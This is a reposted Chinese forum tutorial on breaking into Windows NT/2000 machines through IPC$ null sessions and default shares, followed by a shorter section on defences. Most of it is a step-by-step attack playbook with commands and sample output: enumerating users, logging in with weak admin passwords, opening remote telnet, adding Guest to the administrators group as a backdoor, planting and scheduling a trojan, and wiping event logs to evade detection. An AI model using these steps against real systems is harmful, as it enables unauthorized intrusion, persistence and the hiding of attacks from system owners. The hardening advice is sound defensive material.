發新話題

《資訊》『教學』最詳細的IPC$入侵與防禦,菜鳥都看得懂,超經典

《資訊》『教學』最詳細的IPC$入侵與防禦,菜鳥都看得懂,超經典

這是從網上收集來的~~超級經典!!!
ipc$詳細解釋大全

一 前言  

網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄。  
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的種種迷惑(你隨便找一個hack論壇搜一下ipc$,看看存在的疑惑有多少)。因此我參考了網上的一些資料,教程以及論壇帖子,寫了這篇總結性質的文章,想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!  
注意:本文所討論的各種情況均默認發生在win NT/2000環境下,win98將不在此次討論之列,而鑒於win Xp在安全設置上有所提高,個別操作並不適用,有機會將單獨討論。  


二 什麼是ipc$

IPC$(Internet Process Connection)是共享"命名管道"的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。IPC$是NT/2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連接。NT/2000在提供了ipc$功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享(c$,d$,e$……)和系統目錄winnt或windows(admin$)共享。所有的這些,微軟的初衷都是為了方便管理員的管理,但在有意無意中,導致了系統安全性的降低。  
平時我們總能聽到有人在說ipc$漏洞,ipc$漏洞,其實ipc$並不是一個真正意義上的漏洞,我想之所以有人這麼說,一定是指微軟自己安置的那個『後門』:空會話(Null session)。那麼什麼是空會話呢?  


三 什麼是空會話  

在介紹空會話之前,我們有必要瞭解一下一個安全會話是如何建立的。  
在Windows NT 4.0中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成為一個安全隧道,建立雙方通過它互通信息,這個過程的大致順序如下:  
1)會話請求者(客戶)向會話接收者(服務器)傳送一個數據包,請求安全隧道的建立;  
2)服務器產生一個隨機的64位數(實現挑戰)傳送回客戶;  
3)客戶取得這個由服務器產生的64位數,用試圖建立會話的帳號的口令打亂它,將結果返回到服務器(實現響應);  
4)服務器接受響應後發送給本地安全驗證(LSA),LSA通過使用該用戶正確的口令來核實響應以便確認請求者身份。如果請求者的帳號是服務器的本地帳號,核實本地發生;如果請求的帳號是一個域的帳號,響應傳送到域控制器去核實。當對挑戰的響應核實為正確後,一個訪問令牌產生,然後傳送給客戶。客戶使用這個訪問令牌連接到服務器上的資源直到建議的會話被終止。  
以上是一個安全會話建立的大致過程,那麼空會話又如何呢?  

空會話是在沒有信任的情況下與服務器建立的會話(即未提供用戶名與密碼),但根據WIN2000的訪問控制模型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中並沒有經過用戶信息的認證,所以這個令牌中不包含用戶信息,因此,這個會話不能讓系統間發送加密信息,但這並不表示空會話的令牌中不包含安全標識符SID(它標識了用戶和所屬組),對於一個空會話,LSA提供的令牌的SID是S-1-5-7,這就是空會話的SID,用戶名是:ANONYMOUS LOGON(這個用戶名是可以在用戶列表中看到的,但是是不能在SAM數據庫中找到,屬於系統內置的帳號),這個訪問令牌包含下面偽裝的組:  
Everyone  
Network  
在安全策略的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。那麼建立空會話到底可以作什麼呢?  


四 空會話可以做什麼  

對於NT,在默認安全設置下,借助空連接可以列舉目標主機上的用戶和共享,訪問everyone權限的共享,訪問小部分註冊表等,並沒有什麼太大的利用價值;對2000作用更小,因為在Windows 2000 和以後版本中默認只有管理員和備份操作員有權從網絡訪問到註冊表,而且實現起來也不方便,需借助工具。從這些我們可以看到,這種非信任會話並沒有多大的用處,但從一次完整的ipc$入侵來看,空會話是一個不可缺少的跳板,因為我們從它那裡可以得到戶列表,這對於一個老練的黑客已經足夠了。以下是空會話中能夠使用的具體命令:1 首先,我們先建立一個空會話(需要目標開放ipc$)  
命令:net use \\ip\ipc$ "" /user:""  
注意:上面的命令包括四個空格,net與use中間有一個空格,use後面一個,密碼左右各一個空格。  


2 查看遠程主機的共享資源  
命令:net view \\IP  
解釋:建立了空連接後,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下類似類似結果:  
在 \\*.*.*.*的共享資源  
資源共享名 類型 用途 註釋  

-----------------------------------------------------------  
NETLOGON Disk Logon server share  
SYSVOL Disk Logon server share  
命令成功完成。  


3 查看遠程主機的當前時間  
命令:net time \\IP  
解釋:用此命令可以得到一個遠程主機的當前時間。  


4 得到遠程主機的NetBIOS用戶名列表(需要打開自己的NBT)  
nbtstat -A IP  
用此命令可以得到一個遠程主機的NetBIOS用戶名列表(需要你的netbios支持),返回如下結果:  

Node IpAddress: [*.*.*.*] Scope Id: []  

NetBIOS Remote Machine Name Table  

Name Type Status  
---------------------------------------------  
SERVER <00> UNIQUE Registered  
OYAMANISHI-H <00> GROUP Registered  
OYAMANISHI-H <1C> GROUP Registered  
SERVER <20> UNIQUE Registered  
OYAMANISHI-H <1B> UNIQUE Registered  
OYAMANISHI-H <1E> GROUP Registered  
SERVER <03> UNIQUE Registered  
OYAMANISHI-H <1D> UNIQUE Registered  
..__MSBROWSE__.<01> GROUP Registered  
INet~Services <1C> GROUP Registered  
IS~SERVER......<00> UNIQUE Registered  

MAC Address = 00-50-8B-9A-2D-37  

以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立IPC$連接的操作會在EventLog中留下記錄,不管你是否登錄成功。 好了,那麼下面我們就來看看ipc$所使用的端口是什麼?  


五 ipc$所使用的端口  

首先我們來瞭解一些基礎知識:  
1 SMBServer Message Block) Windows協議族,用於文件打印共享的服務;  
2 NBTNETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實現基於TCP/IP協議的NETBIOS網絡互聯。  
3 在WindowsNT中SMB基於NBT實現,而在Windows2000中,SMB除了基於NBT實現,還可以直接通過445端口實現。  

有了這些基礎知識,我們就可以進一步來討論訪問網絡共享對端口的選擇了:  

對於win2000客戶端來說:  
1 如果在允許NBT的情況下連接服務器時,客戶端會同時嘗試訪問139和445端口,如果445端口有響應,那麼就發送RST包給139端口斷開連接,用455端口進行會話,當445端口無響應時,才使用139端口,如果兩個端口都沒有響應,則會話失敗;  
2 如果在禁止NBT的情況下連接服務器時,那麼客戶端只會嘗試訪問445端口,如果445端口無響應,那麼會話失敗。由此可見,禁止了NBT後的win 2000對win NT的共享訪問將會失敗。  


對於win2000服務器端來說:  
1 如果允許NBT, 那麼UDP端口137, 138, TCP 端口 139, 445將開放;  
2 如果禁止NBT,那麼只有445端口開放。  


我們建立的ipc$會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠程服務器沒有監聽139或445端口,ipc$會話是無法建立的。  


六 ipc$連接在hack攻擊中的意義  

就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),如果你能夠以某一個具有一定權限的用戶身份登陸的話,那麼你就會得到相應的權限,顯然,如果你以管理員身份登陸,嘿嘿,那你可就了不得了,基本上可以為所欲為了。不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些粗心的管理員存在弱口令,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼將會越來越難的,因此今後你最大的可能就是以極小的權限甚至是沒有權限進行連接,甚至在主機不開啟ipc$共享時,你根本就無法連接,你會慢慢的發現ipc$連接並不是萬能的,所以不要奢望每次連接都能成功,那是不現實的。是不是有些灰心?倒也不用,關鍵是我們要擺正心態,不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它只是很多入侵方法中的一種,你有可能利用它一擊必殺,也有可能一無所獲,這些都是正常的,在黑客的世界裡,不是每條大路都能通往羅馬,但總有一條路會通往羅馬,耐心的尋找吧!  


七 ipc$連接失敗的常見原因  

以下是一些常見的導致ipc$連接失敗的原因:  

1 IPC連接是Windows NT及以上系統中特有的功能,由於其需要用到Windows NT中很多DLL函數,所以不能在Windows 9.x/Me系統中運行,也就是說只有nt/2000/xp才可以相互建立ipc$連接,98/me是不能建立ipc$連接的;  

2 如果想成功的建立一個ipc$連接,就需要對方開啟ipc$共享,即使是空連接也是這樣,如果對方關閉了ipc$共享,你將會建立失敗;  

3 你未啟動Lanmanworkstation服務,它提供網絡鏈結和通訊,沒有它你無法發起連接請求(顯示名為:Workstation);  

4 對方未啟動Lanmanserver服務,它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依賴於此服務,沒有它遠程主機將無法響應你的連接請求(顯示名為:Server);  

5 對方未啟動NetLogon,它支持網絡上計算機 pass-through 帳戶登錄身份;  

6 對方禁止了NBT(即未打開139端口);  

7 對方防火牆屏蔽了139和445端口;  

8 你的用戶名或者密碼錯誤(顯然空會話排除這種錯誤);  

9 命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空,可以直接輸入兩個引號""即可;  

10 如果在已經建立好連接的情況下對方重啟計算機,那麼ipc$連接將會自動斷開,需要重新建立連接。  

另外,你也可以根據返回的錯誤號分析原因:  
錯誤號5,拒絕訪問:很可能你使用的用戶不是管理員權限的,先提升權限;  
錯誤號51,Windows無法找到網絡路徑:網絡有問題;  
錯誤號53,找不到網絡路徑:ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(端口過濾);  
錯誤號67,找不到網絡名:你的lanmanworkstation服務未啟動或者目標刪除了ipc$;  
錯誤號1219,提供的憑據與已存在的憑據集衝突:你已經和對方建立了一個ipc$,請刪除再連;  
錯誤號1326,未知的用戶名或錯誤密碼:原因很明顯了;  
錯誤號1792,試圖登錄,但是網絡登錄服務沒有啟動:目標NetLogon服務未啟動;  
錯誤號2242,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。  


八 複製文件失敗的原因  

有些朋友雖然成功的建立了ipc$連接,但在copy時卻遇到了這樣那樣的麻煩,無法複製成功,那麼導致複製失敗的常見原因又有哪些呢?

1 盲目複製  
這類錯誤出現的最多,佔到50%以上。許多朋友甚至都不知道對方是否有共享文件夾,就進行盲目複製,結果導致複製失敗而且鬱悶的很。因此我建議大家在進行複製之前務必用net view \\IP這個命令看一下對方的共享情況,不要認為ipc$連接建立成功了就一定有共享文件夾。  

2 默認共享判斷錯誤  
這類錯誤也是大家經常犯的,主要有兩個小方面:  

1)錯誤的認為能建立ipc$連接的主機就一定開啟了默認共享,因而在建立完連接之後馬上向admin$之類的默認共享複製文件,導致複製失敗。ipc$連接成功只能說明對方打開了ipc$共享,ipc$共享與默認共享是兩碼事,ipc$共享是一個命名管道,並不是哪個實際的文件夾,而默認共享並不是ipc$共享的必要條件;  

2)由於net view \\IP 無法顯示默認共享(因為默認共享帶$),因此通過這個命令,我們並不能判斷對方是否開啟了默認共享,因此如果對方未開啟默認共享,那麼所有向默認共享進行的操作都不能成功;(不過大部分掃瞄軟件在掃弱口令的同時,都能掃到默認共享目錄,可以避免此類錯誤的發生)  
3用戶權限不夠,包括四種情形:  
1)空連接向所有共享(默認共享和普通共享)複製時,大多情況下權限是不夠的;  
2)向默認共享複製時,要具有管理員權限;  
3)向普通共享複製時,要具有相應權限(即對方事先設定的訪問權限);  
4)對方可以通過防火牆或安全軟件的設置,禁止外部訪問共享;  

還需要說明一點:不要認為administrator就一定是管理員,管理員名稱是可以改的。  


4被防火牆殺死或在局域網  
也許你的複製操作已經成功,但當遠程運行時,被防火牆殺掉了,導致找不到文件;還有可能你把木馬複製到了局域網內的主機,導致連接失敗。因此建議你複製時要小心,否則就前功盡棄了。  


呵呵,大家也知道,ipc$連接在實際操作過程中會出現千奇百怪的問題,上面我所總結的只是一些常見錯誤,沒說到的,只能讓大家自己去體會了。  


九 如何打開目標的IPC$共享以及其他共享  

目標的ipc$不是輕易就能打開的,否則就要天下打亂了。你需要一個admin權限的shell,比如telnet,木馬等,然後在shell下執行net share ipc$來開放目標的ipc$,用net share ipc$ /del來關閉共享。如果你要給它開共享文件夾,你可以用net share baby=c:\,這樣就把它的c盤開為共享名為baby共享了。  


十 一些需要shell才能完成的命令  

看到很多教程這方面寫的十分不準確,一些需要shell才能完成命令就簡簡單單的在ipc$連接下執行了,起了誤導作用。那麼下面我總結一下需要在shell才能完成的命令:  

1 向遠程主機建立用戶,激活用戶,修改用戶密碼,加入管理組的操作需要在shell下完成;  

2 打開遠程主機的ipc$共享,默認共享,普通共享的操作需要在shell下完成;  

3 運行/關閉遠程主機的服務,需要在shell下完成;  

4 啟動/殺掉遠程主機的進程,也需要在shell下完成。  


十一 入侵中可能會用到的相關命令  

請注意命令適用於本地還是遠程,如果適用於本地,你只能在獲得遠程主機的shell後,才能向遠程主機執行。  

1 建立空連接:  
net use \\IP\ipc$ "" /user:""  

2 建立非空連接:  
net use \\IP\ipc$ "psw" /user:"account"  

3 查看遠程主機的共享資源(但看不到默認共享)  
net view \\IP  

4 查看本地主機的共享資源(可以看到本地的默認共享)  
net share  

5 得到遠程主機的用戶名列表  
nbtstat -A IP  

6 得到本地主機的用戶列表  
net user  

7 查看遠程主機的當前時間  
net time \\IP  

8 顯示本地主機當前服務  
net start  

9 啟動/關閉本地服務  
net start 服務名 /y  
net stop 服務名 /y  

10 映射遠程共享:  
net use z: \\IP\baby  
此命令將共享名為baby的共享資源映射到z盤  

11 刪除共享映射  
net use c: /del 刪除映射的c盤,其他盤類推  
net use * /del /y刪除全部  

12 向遠程主機複製文件  
copy \路徑\srv.exe \\IP\共享目錄名,如:  
copy ccbirds.exe \\*.*.*.*\c 即將當前目錄下的文件複製到對方c盤內  

13 遠程添加計劃任務  
at \\ip 時間 程序名,如:  
at \\127.0.0.0 11:00 love.exe  
注意:時間盡量使用24小時制;在系統默認搜索路徑(比如system32/)下不用加路徑,否則必須加全路徑  


14 開啟遠程主機的telnet  
這裡要用到一個小程序:opentelnet.exe,各大下載站點都有,而且還需要滿足四個要求:  

1)目標開啟了ipc$共享  
2)你要擁有管理員密碼和帳號  
3)目標開啟RemoteRegistry服務,用戶就該ntlm認證  
4)對WIN2K/XP有效,NT未經測試  
命令格式:OpenTelnet.exe \\server account psw NTLM認證方式 port  
試例如下:c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90  

15 激活用戶/加入管理員組  
1 net uesr account /active:yes  
2 net localgroup administrators account /add  

16 關閉遠程主機的telnet  
同樣需要一個小程序:ResumeTelnet.exe  
命令格式:ResumeTelnet.exe \\server account psw  
試例如下:c:\>ResumeTelnet.exe \\*.*.*.* administrator ""  

17 刪除一個已建立的ipc$連接  
net use \\IP\ipc$ /del  


十二 ipc$完整入侵步驟祥解  

其實入侵步驟隨個人愛好有所不同,我就說一下常見的吧,呵呵,獻醜了!  

1 用掃瞄軟件搜尋存在若口令的主機,比如流光,SSS,X-scan等,隨你的便,然後鎖定目標,如果掃到了管理員權限的口令,你可以進行下面的步驟了,假設你現在得到了administrator的密碼為空  

2 此時您有兩條路可以選擇:要麼給對方開telnet(命令行),要麼給它傳木馬(圖形界面),那我們就先走telnet這條路吧  

3上面開telnet的命令沒忘吧,要用到opentelnet這個小程序  
c:\>OpenTelnet.exe \\192.168.21.* administrator "" 1 90  
如果返回如下信息  
*******************************************************  
Remote Telnet Configure, by refdom  
Email: refdom@263.net  
OpenTelnet.exe  

UsagepenTelnet.exe \\server username password NTLMAuthor telnetport  
*******************************************************  
Connecting \\192.168.21.*...Successfully!  

NOTICE!!!!!!  
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23  

Starting telnet service...  
telnet service is started successfully! telnet service is running!  

BINGLE!!!Yeah!!  
Telnet Port is 90. You can try:"telnet ip 90", to connect the server!  
Disconnecting server...Successfully!  
*說明你已經打開了一個端口90的telnet。  

4 現在我們telnet上去  
telnet 192.168.21.* 90  
如果成功,你將獲得遠程主機的一個shell,此時你可以像控制自己的機器一樣控制你的肉雞了,那麼做點什麼呢?把guest激活再加入管理組吧,就算留個後門了  

5 C:\>net user guest /active:yes  
*將Guest用戶激活,也有可能人家的guest本來就試活的,你可以用net user guest看一下它的帳戶啟用的值是yes還是no  

6 C:\>net user guest 1234  
*將Guest的密碼改為1234,或者改成你喜歡的密碼  

7 C:\>net localgroup administrators guest /add  
*將Guest變為Administrator,這樣,即使以後管理員更改了他的密碼,我們也可以用guest登錄了,不過也要提醒您,因為通過安全策略的設置,可以禁止guest等帳戶的遠程訪問,呵呵,如果真是這樣,那我們的後門也就白做了,願上帝保佑Guest。  

8 好了,現在我們來走另一條路,給它傳個木馬玩玩  

9 首先,我們先建立起ipc$連接  
C:\>net use \\192.168.21.*\ipc$ "" /user:administrator  

10 既然要上傳東西,就要先知道它開了什麼共享  
C:\>net view \\192.168.21.*  
在 \\192.168.21.*的共享資源  
資源共享名 類型 用途 註釋  
-----------------------------------------------------------  
C Disk  
D Disk  
命令成功完成。  
*好了,我們看到對方共享了C,D兩個盤,我們下面就可以向任意一個盤複製文件了。再次聲明,因為用net view命令無法看到默認共享,因此通過上面返回的結果,我們並不能判斷對方是否開啟了默認共享。  

11 C:\>copy love.exe \\192.168.21.*\c  
已複製 1 個文件  
*用這個命令你可以將木馬客戶端love.exe傳到對方的c盤下,當然,如果能複製到系統文件夾下是最好的了,不容易被發現  

12 運行木馬前,我們先看看它現在的時間  
net time \\192.168.21.*  
\\192.168.21.*的當前時間是 2003/8/22 上午 11:00  命令成功完成  

13 現在我們用at運行它吧,不過對方一定要開了Task Scheduler服務(允許程序在指定時間運行),否則就不行了  
C:\>at \\192.168.21.* 11:02 c:\love.exe  
新加了一項作業,其作業 ID = 1  

14 剩下就是等了,等過了11:02,你就可以用控制端去連接了,如果成功你將可以用圖形界面去控制遠程主機了,如果連接失敗,那麼它可能在局域網裡,也可能程序被防火牆殺了,還可能它下線了(沒這麼巧吧),無論哪種情況你只好放棄了  

嗯,好了,兩種基本方法都講了。如果你對上面的操作已經輕車熟路了,也可以用更高效的套路,比如用CA克隆guest,用p***ec執行木馬,用命令:p***ec \\tergetIP -u user -p paswd cmd.exe直接獲得shell等,這些都是可以得,隨你的便。不過最後不要忘了把日誌清理乾淨,可以用榕哥的elsave.exe。  
講了ipc$的入侵,就不能不說如何防範,那麼具體要怎樣做呢?看下面



十三 如何防範ipc$入侵  

1 禁止空連接進行枚舉(此操作並不能阻止空連接的建立)  
方法1:  
運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:1  
如果設置為"1",一個匿名用戶仍然可以連接到IPC$共享,但限制通過這種連接得到列舉SAM帳號和共享等信息;在Windows 2000 中增加了"2",限制所有匿名訪問除非特別授權,如果設置為2的話,可能會有一些其他問題發生,建議設置為1。如果上面所說的主鍵不存在,就新建一個再改鍵值。  

方法2:  
在本地安全設置-本地策略-安全選項-在'對匿名連接的額外限制'中做相應設置  


2 禁止默認共享  
1)察看本地共享資源  
運行-cmd-輸入net share  

2)刪除共享(重起後默認共享仍然存在)  
net share ipc$ /delete  
net share admin$ /delete  
net share c$ /delete  
net share d$ /delete(如果有e,f,……可以繼續刪除)  

3)停止server服務  
net stop server /y (重新啟動後server服務會重新開啟)  

4)禁止自動打開默認共享(此操作並未關閉ipc$共享)  
運行-regedit  

server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。  

pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。  
如果上面所說的主鍵不存在,就新建(右擊-新建-雙字節值)一個主健再改鍵值。這兩個鍵值在默認情況下在主機上是不存在的,需要自己手動添加。  


3 關閉ipc$和默認共享依賴的服務erver服務  
控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-選已禁用 這時可能會有提示說:XXX服務也會關閉是否繼續,因為還有些次要的服務要依賴於lanmanserver,不要管它。  


4 屏蔽139,445端口  
由於沒有以上兩個端口的支持,是無法建立ipc$的,因此屏蔽139,445端口同樣可以阻止ipc$入侵。  

1)139端口可以通過禁止NBT來屏蔽  
本地連接-TCP/IT屬性-高級-WINS-選『禁用TCP/IT上的NETBIOS』一項  

2)445端口可以通過修改註冊表來屏蔽  
添加一個鍵值  
Hive: HKEY_LOCAL_MACHINE  
Key: System\Controlset\Services\NetBT\Parameters  
Name: SMBDeviceEnabled  
Type: REG_DWORD  
Value: 0  
修改完後重啟機器  

注意:如果屏蔽掉了以上兩個端口,你將無法用ipc$入侵別人。  

3)安裝防火牆進行端口過濾  

5 設置複雜密碼,防止通過ipc$窮舉出密碼。  


十四 ipc$入侵問答精選  

上面說了一大堆的理論東西,但在實際中你會遇到各種各樣的問題,因此為了給予大家最大的幫助,我看好幾個安全論壇,找了n多的帖子,從中整理了一些有代表性的問答,其中的一些答案是我給出的,一些是論壇上的回復,如果有什麼疏漏和錯誤,還請包涵。1.進行ipc$入侵的時候,會在服務器中留下記錄,有什麼辦法可以不讓服務器發現嗎?  

答:留下記錄是一定的,你走後用程序刪除就可以了,或者用肉雞入侵。  


2.你看下面的情況是為什麼,可以連接但不能複製  
net use \\***.***.***.***\ipc$ "密碼" /user:"用戶名"  
命令成功  
copy icmd.exe \\***.***.***.***\admin$  
找不到網絡路徑  
命令不成功  

答:可能有兩個原因:  
1)你的權限不夠,不能訪問默認共享;  

2)對方沒有開啟admin$默認共享,不要認為能進行ipc$連接,對方就一定開了默認共享(很多人都這麼以為,誤區!!),此時你可以試試別的默認共享或普通共享,比如c$,d$,c,d等,如果還是不行,就要看你的權限了,如果是管理員權限,你可以開telnet,如果能成功,在給它開共享也行。  


3.如果對方開了IPC$,且能建立空聯接,但打開C、D盤時,都要求密碼,我知道是空連接沒有太多的權限,但沒別的辦法了嗎?  

答:建議先用流光或者別的什麼猜解一下密碼,如果猜不出來,只能放棄,畢竟空連接的能力有限。  


4.我已經猜解到了管理員的密碼,且已經ipc$連接成功了,但net view \\ip發現它沒開默認共享,我該怎麼辦?  

答:首先糾正你的一個錯誤,用net view是無法看到默認共享的。既然你現在有管理員權限,而且對方又開了ipc$,建議你用opentelnet.exe這個小程序打開它的telent,在獲得了這個shell之後,做什麼都可以了。  


5.ipc$連接成功後,我用下面的命令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎麼回事?  
net uset ccbirds /add  

答:ipc$建立成功只能說明你與遠程主機建立了通信隧道,並不意味你取得了一個shell,只有在獲得一個shell之後,你才能在遠程建立一個帳戶,否則你的操作只是在本地進行。  


6.我已進入了一台肉機,用的管理員帳號,可以看他的系統時間,但是複製程序到他的機子上卻不行,每次都提示「拒絕訪問,已複製0個文件」,是不是對方有什麼服務沒開,我該怎麼辦?  

答:不能copy文件有多個可能,除了權限不夠外,還可能是對方c$,d$等默認管理共享沒開,或者是對方為NTFS文件格式,通過設置,管理員也未必能遠程寫文件。既然你有管理員權限,那就開telnet上去吧,然後在開它的共享。  


7.我用Win98能與對方建立ipc$連接嗎?  

答:不可以的,要進行ipc$的操作,建議用win2000  


8.我用net use \\ip\ipc$ "" /user ""成功的建立了一個空會話,但用nbtstat -A IP 卻無法導出用戶列表,這是為什麼?  

答:空會話在默認的情況下是可以導出用戶列表的,但如果管理員通過修改註冊表來禁止導出列表,就會出現你所說的情況;或者你自己的NBT沒有打開,netstat是建立在NBT之上的。    


9.我建立ipc$連接的時候返回如下信息:『提供的憑據與已存在的憑據集衝突』,怎麼回事?  

答:呵呵,這說明你與目標主機建立了一個以上的ipc$連接,這是不允許的,把其他的刪掉吧:net use \\*.*.*.*\ipc$ /del  


10.我在映射的時候出現:  
F:\>net use h: \\211.161.134.*\e$  
系統發生 85 錯誤。  
本地設備名已在使用中。這是怎麼回事?  

答:你也太粗心了吧,這說明你的h盤正在使用,映射到別的盤符吧!  


11.我建立了一個連接f:\>net use \\*.*.*.*\ipc$ "123" /user:"ccbirds" 成功了,但當我映射時出現了錯誤,向我要密碼,怎麼回事?  
F:\>net use h: \\*.*.*.*\c$  
密碼在 \\*.*.*.*\c$ 無效。  
請鍵入 \\*.*.*.*\c$ 的密碼:  
系統發生 5 錯誤。  
拒絕訪問。  

答:呵呵,向你要密碼說明你當前使用的用戶權限不夠,不能映射C$這個默認共享,想辦法提升權限或者找管理員的弱口令吧!默認共享一般是需要管理員權限的。  


12.我用superscan掃到了一個開了139端口的主機,但為什麼不能空連接呢?答:你混淆了ipc$與139的關係,能進行ipc$連接的主機一定開了139或445端口,但開這兩個端口的主機可不一定能空連接,因為對方可以關閉ipc$共享.  

13.我門局域網裡的機器大多都是xp,我用流光掃瞄到幾個administrator帳號口令是空,而且可以連接,但不能複製東西,說錯誤5。請問為什麼?  

答:xp的安全性要高一些,在安全策略的默認設置中,對本地帳戶的網絡登錄進行身份驗證的時候,默認為來賓權限,即使你用管理員遠程登錄,也只具有來賓權限,因此你複製文件,當然是錯誤5:權限不夠。  

14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c  
出現請鍵入 \\192.168.0.2 的密碼,怎麼回事情呢?  

答:雖然你具有管理員權限,但管理員在設置c盤共享權限時可能並未設置允許administrator訪問,所以會出現問題。  

15.如果自己的機器禁止了ipc$, 是不是還可以用ipc連接別的機器?

  

ipc$常見問題

1,怎樣建立空連接,它有什麼用?  
答:使用命令 net use \IPipc$ "" /user:"" 就可以簡單地和目標建立一個空連接(需要目標開放ipc$)。  
對於NT,在默認安全設置下,借助空連接可以列舉目標用戶、共享,訪問everyone權限的共享,訪問小部分註冊表等,沒有什麼利用價值。對2000作用就更小了。而且實現也不方便,需借助工具。

2.為什麼我連不上IPC$?  
答:1.只有nt/2000/xp及以上系統才可以建立ipc$。如果你用的是98/me是沒有該功能的。  
2.確認你的命令沒有打錯。正確的命令是: net use \目標IPipc$ "密碼" /user:"用戶名"  
注意別多了或少了空格。當用戶名和密碼中不包含空格時兩邊的雙引號可以省略。空密碼用""表示。  

3,根據返回的錯誤號分析原因:  
錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員權限的,先提升權限;  
錯誤號51,Windows 無法找到網絡路徑 : 網絡有問題;  
錯誤號53,找不到網絡路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(端口過濾);  
錯誤號67,找不到網絡名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;  
錯誤號1219,提供的憑據與已存在的憑據集衝突 : 你已經和對方建立了一個ipc$,請刪除再連。  
錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;  
錯誤號1792,試圖登錄,但是網絡登錄服務沒有啟動 : 目標NetLogon服務未啟動。(連接域控會出現此情況)  
錯誤號2242,此用戶的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。  

4,關於ipc$連不上的問題比較複雜,沒有總結出一個統一的認識,在肉雞上實驗有時會得出矛盾的結論,十分棘手。 而且知道了問題所在,如果沒有用其他辦法獲得shell,很多問題依然不能解決。

5,怎樣打開目標的IPC$?  
答:首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴展、telnet、木馬。當然,這shell必須是admin權限的。然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上一問題可以知道,ipc$能否使用還有很多條件。請確認相關服務都已運行,沒有就啟動它(不知道怎麼做的請看net命令的用法)。還是不行的話(比如有防火牆,殺不了)建議放棄。  

6,怎樣映射和訪問默認共享?  
答:使用命令 net use z: \目標IPc$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤,其他盤類推。  
如果已經和目標建立了ipc$,則可以直接用IP加盤符加$訪問。比如 copy muma.exe \IPd$pathmuma.exe 。或者再映射也可以,只是不用用戶名和密碼了:net use y: \IPd$ 。然後 copy muma.exe y:pathmuma.exe 。當路徑中包含空格時,須用""將路徑全引住。  

7,如何刪除映射和ipc$連接?  
答:用命令 net use \IPipc$ /del 刪除和一個目標的ipc$連接。  
用命令 net use z: /del 刪除映射的z盤,其他盤類推。  
用命令 net use * /del 刪除全部。會有提示要求按y確認。

8,連上ipc$然後我能做什麼?  
答:能使用管理員權限的帳號成功和目標連接ipc$,表示你可以和對方系統做深入「交流」了。你可以使用各種命令行方式的工具(比如pstools系列、Win2000SrvReskit、telnethack等)獲得目標信息、管理目標的進程和服務等。如果目標開放了默認共享(沒開你就幫他開),你就可以上傳木馬並運行。也可以用tftp、ftp的辦法上傳。像dwrcc、VNC、RemoteAdmin等工具(木馬)還具有直接控屏的功能。如果是2000server,還可以考慮開啟終端服務方便控制。這裡提到的工具的使用,請看自帶的說明或相關教程。

9,怎樣防止別人用ips$和默認共享入侵我?  
答:A、一種辦法是把ipc$和默認共享都刪除了。但重起後還會有。這就需要改註冊表。  
1,先把已有的刪除  
net share ipc$ /del  
net share admin$ /del  
net share c$ /del  
…………(有幾個刪幾個)  
2,禁止別人空連接  
首先運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]把RestrictAnonymous(DWORD)的鍵值改為:00000002。  
3,禁止自動打開默認共享  
對於server版,找到如下主鍵[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareServer(DWORD)的鍵值改為:00000000。  
對於pro版,則是[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareWks(DWORD)的鍵值改為:00000000。  
如果上面所說的主鍵不存在,就新建一個再改鍵值。  
B、另一種是關閉ipc$和默認共享依賴的服務(不推薦)  
net stop lanmanserver  
